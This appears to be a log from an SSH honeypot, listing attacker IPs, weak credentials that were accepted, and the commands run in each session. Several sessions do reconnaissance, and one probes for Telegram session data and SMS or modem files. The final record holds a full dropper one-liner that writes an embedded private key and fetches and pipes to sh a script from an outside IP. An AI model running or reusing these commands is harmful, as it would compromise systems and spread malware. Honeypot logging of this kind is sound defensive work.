[obs-node]:~$ head -1 /proc/version | cut -d -f1
[obs-node]:~$ [ -f /etc/os-release ]
Record ID: ed179dfc035f
Client Version: SSH-2.0-Go
Engagement Duration: 2.9s
HASSH Fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5
{
  "id": "ed179dfc035f",
  "src_ip": "193.32.162.15",
  "start_time": "2026-08-19T21:09:25.757546Z",
  "end_time": "2026-08-19T21:09:28.615141Z",
  "duration": "2.9",
  "version": "SSH-2.0-Go",
  "hassh": "2ec37a7cc8daf20b10e1ad6221061ca5",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root123"
  },
  "commands": [
    "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
    "uname -s -v -n -m 2 > /dev/null",
    "/bin/uname -s -v -n -m 2 > /dev/null",
    "/usr/bin/uname -s -v -n -m 2 > /dev/null",
    "busybox uname -s -v -n -m 2 > /dev/null",
    "( [ -f /proc/version ]",
    "[ -f /proc/version ]",
    "head -1 /proc/version | cut -d -f1",
    "[ -f /etc/os-release ]"
  ],
  "detailed_commands": [
    {
      "cmd": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/usr/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": true,
      "error": "Command not found: /usr/bin/uname -s -v -n -m"
    },
    {
      "cmd": "busybox uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "( [ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "head -1 /proc/version | cut -d -f1",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /etc/os-release ]",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "/usr/bin/uname -s -v -n -m"
  ],
  "score": 200,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
193.32.162.15
2026-08-19 21:08:17.045313 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: test3

Record ID: 8f54e4fec45d
Client Version: SSH-2.0-Go
Engagement Duration: 3.4s
HASSH Fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5
{
  "id": "8f54e4fec45d",
  "src_ip": "193.32.162.15",
  "start_time": "2026-08-19T21:08:17.045313Z",
  "end_time": "2026-08-19T21:08:20.476923Z",
  "duration": "3.4",
  "version": "SSH-2.0-Go",
  "hassh": "2ec37a7cc8daf20b10e1ad6221061ca5",
  "attempts": [
    {
      "user": "test3",
      "pass": "test3"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
193.32.162.15
2026-08-19 21:07:08.740860 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: test2

Record ID: d1705852a9c9
Client Version: SSH-2.0-Go
Engagement Duration: 4.2s
HASSH Fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5
{
  "id": "d1705852a9c9",
  "src_ip": "193.32.162.15",
  "start_time": "2026-08-19T21:07:08.740860Z",
  "end_time": "2026-08-19T21:07:12.964747Z",
  "duration": "4.2",
  "version": "SSH-2.0-Go",
  "hassh": "2ec37a7cc8daf20b10e1ad6221061ca5",
  "attempts": [
    {
      "user": "test2",
      "pass": "test2"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
193.32.162.15
2026-08-19 21:05:58.894864 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: test1

Record ID: 9d9482594559
Client Version: SSH-2.0-Go
Engagement Duration: 4.8s
HASSH Fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5
{
  "id": "9d9482594559",
  "src_ip": "193.32.162.15",
  "start_time": "2026-08-19T21:05:58.894864Z",
  "end_time": "2026-08-19T21:06:03.733390Z",
  "duration": "4.8",
  "version": "SSH-2.0-Go",
  "hassh": "2ec37a7cc8daf20b10e1ad6221061ca5",
  "attempts": [
    {
      "user": "test1",
      "pass": "test1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
193.32.162.15
2026-08-19 21:04:29.111059 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3f7c16905ed7
Client Version: Unknown
Engagement Duration: 0.2s
{
  "id": "3f7c16905ed7",
  "src_ip": "193.32.162.15",
  "start_time": "2026-08-19T21:04:29.111059Z",
  "end_time": "2026-08-19T21:04:29.284926Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
121.29.5.109
2026-08-19 21:00:37.234565 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / ------fuck------

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -m
Record ID: e42e59fe8ad7
Client Version: SSH-2.0-Go
Engagement Duration: 1.6s
HASSH Fingerprint: 98f63c4d9c87edbd97ed4747fa031019
{
  "id": "e42e59fe8ad7",
  "src_ip": "121.29.5.109",
  "start_time": "2026-08-19T21:00:37.234565Z",
  "end_time": "2026-08-19T21:00:38.847721Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "98f63c4d9c87edbd97ed4747fa031019",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "\ufeff------fuck------"
  },
  "commands": [
    "uname -s -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
121.29.5.109
2026-08-19 21:00:36.813452 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 56df75e1bb66
Client Version: Unknown
Engagement Duration: 0.2s
{
  "id": "56df75e1bb66",
  "src_ip": "121.29.5.109",
  "start_time": "2026-08-19T21:00:36.813452Z",
  "end_time": "2026-08-19T21:00:37.017529Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
23.175.50.52
2026-08-19 20:58:15.235291 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: user / kisan

Record ID: 1de75b607bd2
Client Version: SSH-2.0-PuTTY_Release_0.70
Engagement Duration: 1.1s
HASSH Fingerprint: 0425c279610910d2d9aef3b285e59b86
{
  "id": "1de75b607bd2",
  "src_ip": "23.175.50.52",
  "start_time": "2026-08-19T20:58:15.235291Z",
  "end_time": "2026-08-19T20:58:16.306919Z",
  "duration": "1.1",
  "version": "SSH-2.0-PuTTY_Release_0.70",
  "hassh": "0425c279610910d2d9aef3b285e59b86",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "kisan"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
192.42.116.13
2026-08-19 20:57:05.407511 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / root

Record ID: 71aedc25ab15
Client Version: SSH-2.0-OpenSSH_10.5
Engagement Duration: 23.4s
HASSH Fingerprint: d00d43d15d59705b090cf74488cc2218
{
  "id": "71aedc25ab15",
  "src_ip": "192.42.116.13",
  "start_time": "2026-08-19T20:57:05.407511Z",
  "end_time": "2026-08-19T20:57:28.760170Z",
  "duration": "23.4",
  "version": "SSH-2.0-OpenSSH_10.5",
  "hassh": "d00d43d15d59705b090cf74488cc2218",
  "attempts": [
    {
      "user": "root",
      "pass": null
    }
  ],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
176.53.159.196
2026-08-19 20:56:29.538885 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: fa06f288eb7b
Client Version: SSH-2.0-Go
Engagement Duration: 1.2s
HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53
{
  "id": "fa06f288eb7b",
  "src_ip": "176.53.159.196",
  "start_time": "2026-08-19T20:56:29.538885Z",
  "end_time": "2026-08-19T20:56:30.710739Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
189.222.141.55
2026-08-19 20:54:31.103242 UTC
SUCCESSFUL LOGIN COMMANDS RUN DATA THEFT ROUTER TARGETING RECONNAISSANCE SCORE: 520

Credential acceptance event recorded. Target authentication: root / root

Remote entity achieved interactive shell state. Command sequence (9 executed):

[obs-node]:~$ /ip cloud print
Command not found: /ip cloud print
[obs-node]:~$ ifconfig
[obs-node]:~$ uname -a
[obs-node]:~$ cat /proc/cpuinfo
[obs-node]:~$ ps | grep '[Mm]iner'
[obs-node]:~$ ps -ef | grep '[Mm]iner'
[obs-node]:~$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
[obs-node]:~$ locate D877F783D5D3EF8Cs
[obs-node]:~$ echo Hi | cat -n
Record ID: 24e6cb8fccd2
Client Version: SSH-2.0-libssh2_1.11.1
Engagement Duration: 39.5s
HASSH Fingerprint: f45fb203c31069bb280067b71ed92ccb
{
  "id": "24e6cb8fccd2",
  "src_ip": "189.222.141.55",
  "start_time": "2026-08-19T20:54:31.103242Z",
  "end_time": "2026-08-19T20:55:10.640040Z",
  "duration": "39.5",
  "version": "SSH-2.0-libssh2_1.11.1",
  "hassh": "f45fb203c31069bb280067b71ed92ccb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root"
  },
  "commands": [
    "/ip cloud print",
    "ifconfig",
    "uname -a",
    "cat /proc/cpuinfo",
    "ps | grep '[Mm]iner'",
    "ps -ef | grep '[Mm]iner'",
    "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
    "locate D877F783D5D3EF8Cs",
    "echo Hi | cat -n"
  ],
  "detailed_commands": [
    {
      "cmd": "/ip cloud print",
      "failed": true,
      "error": "Command not found: /ip cloud print"
    },
    {
      "cmd": "ifconfig",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ps | grep '[Mm]iner'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ps -ef | grep '[Mm]iner'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
      "failed": false,
      "error": null
    },
    {
      "cmd": "locate D877F783D5D3EF8Cs",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo Hi | cat -n",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "/ip cloud print"
  ],
  "score": 520,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "DATA THEFT",
    "ROUTER TARGETING",
    "RECONNAISSANCE"
  ]
}
138.197.163.218
2026-08-19 20:47:46.172838 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e910ef51ab99
Client Version: Unknown
Engagement Duration: 1.6s
{
  "id": "e910ef51ab99",
  "src_ip": "138.197.163.218",
  "start_time": "2026-08-19T20:47:46.172838Z",
  "end_time": "2026-08-19T20:47:47.749251Z",
  "duration": "1.6",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
193.46.255.86
2026-08-19 20:46:48.099829 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / P@ssw0rd

Record ID: df0ff5aa0117
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.0s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "df0ff5aa0117",
  "src_ip": "193.46.255.86",
  "start_time": "2026-08-19T20:46:48.099829Z",
  "end_time": "2026-08-19T20:46:54.109016Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "P@ssw0rd"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
192.34.63.174
2026-08-19 20:45:39.069564 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4f98ad17df95
Client Version: SSH-2.0-OpenSSH-keyscan
Engagement Duration: 0.7s
HASSH Fingerprint: a984ff804585fabe3cd08f4b3849024a
{
  "id": "4f98ad17df95",
  "src_ip": "192.34.63.174",
  "start_time": "2026-08-19T20:45:39.069564Z",
  "end_time": "2026-08-19T20:45:39.766409Z",
  "duration": "0.7",
  "version": "SSH-2.0-OpenSSH-keyscan",
  "hassh": "a984ff804585fabe3cd08f4b3849024a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
192.34.63.174
2026-08-19 20:45:39.066230 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b6ef0388e565
Client Version: SSH-2.0-OpenSSH-keyscan
Engagement Duration: 0.9s
HASSH Fingerprint: a984ff804585fabe3cd08f4b3849024a
{
  "id": "b6ef0388e565",
  "src_ip": "192.34.63.174",
  "start_time": "2026-08-19T20:45:39.066230Z",
  "end_time": "2026-08-19T20:45:40.009773Z",
  "duration": "0.9",
  "version": "SSH-2.0-OpenSSH-keyscan",
  "hassh": "a984ff804585fabe3cd08f4b3849024a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
192.34.63.174
2026-08-19 20:45:39.062883 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d22c6874eddd
Client Version: SSH-2.0-OpenSSH-keyscan
Engagement Duration: 0.6s
HASSH Fingerprint: a984ff804585fabe3cd08f4b3849024a
{
  "id": "d22c6874eddd",
  "src_ip": "192.34.63.174",
  "start_time": "2026-08-19T20:45:39.062883Z",
  "end_time": "2026-08-19T20:45:39.629907Z",
  "duration": "0.6",
  "version": "SSH-2.0-OpenSSH-keyscan",
  "hassh": "a984ff804585fabe3cd08f4b3849024a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
192.34.63.174
2026-08-19 20:45:39.059562 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b7ceee36fcaf
Client Version: SSH-2.0-OpenSSH-keyscan
Engagement Duration: 1.0s
HASSH Fingerprint: a984ff804585fabe3cd08f4b3849024a
{
  "id": "b7ceee36fcaf",
  "src_ip": "192.34.63.174",
  "start_time": "2026-08-19T20:45:39.059562Z",
  "end_time": "2026-08-19T20:45:40.076058Z",
  "duration": "1.0",
  "version": "SSH-2.0-OpenSSH-keyscan",
  "hassh": "a984ff804585fabe3cd08f4b3849024a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
192.34.63.174
2026-08-19 20:45:39.055983 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: bfd124d1cdf5
Client Version: SSH-2.0-OpenSSH-keyscan
Engagement Duration: 0.3s
HASSH Fingerprint: a984ff804585fabe3cd08f4b3849024a
{
  "id": "bfd124d1cdf5",
  "src_ip": "192.34.63.174",
  "start_time": "2026-08-19T20:45:39.055983Z",
  "end_time": "2026-08-19T20:45:39.391025Z",
  "duration": "0.3",
  "version": "SSH-2.0-OpenSSH-keyscan",
  "hassh": "a984ff804585fabe3cd08f4b3849024a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
192.34.63.174
2026-08-19 20:45:39.052004 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d135e0e9fe71
Client Version: SSH-2.0-OpenSSH-keyscan
Engagement Duration: 0.6s
HASSH Fingerprint: a984ff804585fabe3cd08f4b3849024a
{
  "id": "d135e0e9fe71",
  "src_ip": "192.34.63.174",
  "start_time": "2026-08-19T20:45:39.052004Z",
  "end_time": "2026-08-19T20:45:39.693918Z",
  "duration": "0.6",
  "version": "SSH-2.0-OpenSSH-keyscan",
  "hassh": "a984ff804585fabe3cd08f4b3849024a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
200.53.23.68
2026-08-19 20:43:53.967545 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f2da67ae3084
Client Version: Unknown
Engagement Duration: 0.0s
{
  "id": "f2da67ae3084",
  "src_ip": "200.53.23.68",
  "start_time": "2026-08-19T20:43:53.967545Z",
  "end_time": "2026-08-19T20:43:53.974033Z",
  "duration": "0.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
130.12.180.51
2026-08-19 20:39:45.454107 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 120

Credential acceptance event recorded. Target authentication: admin / admin

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -a; echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh
Record ID: fbf3ae9c059d
Client Version: SSH-2.0-Go
Engagement Duration: 2.0s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "fbf3ae9c059d",
  "src_ip": "130.12.180.51",
  "start_time": "2026-08-19T20:39:45.454107Z",
  "end_time": "2026-08-19T20:39:47.462077Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin"
  },
  "commands": [
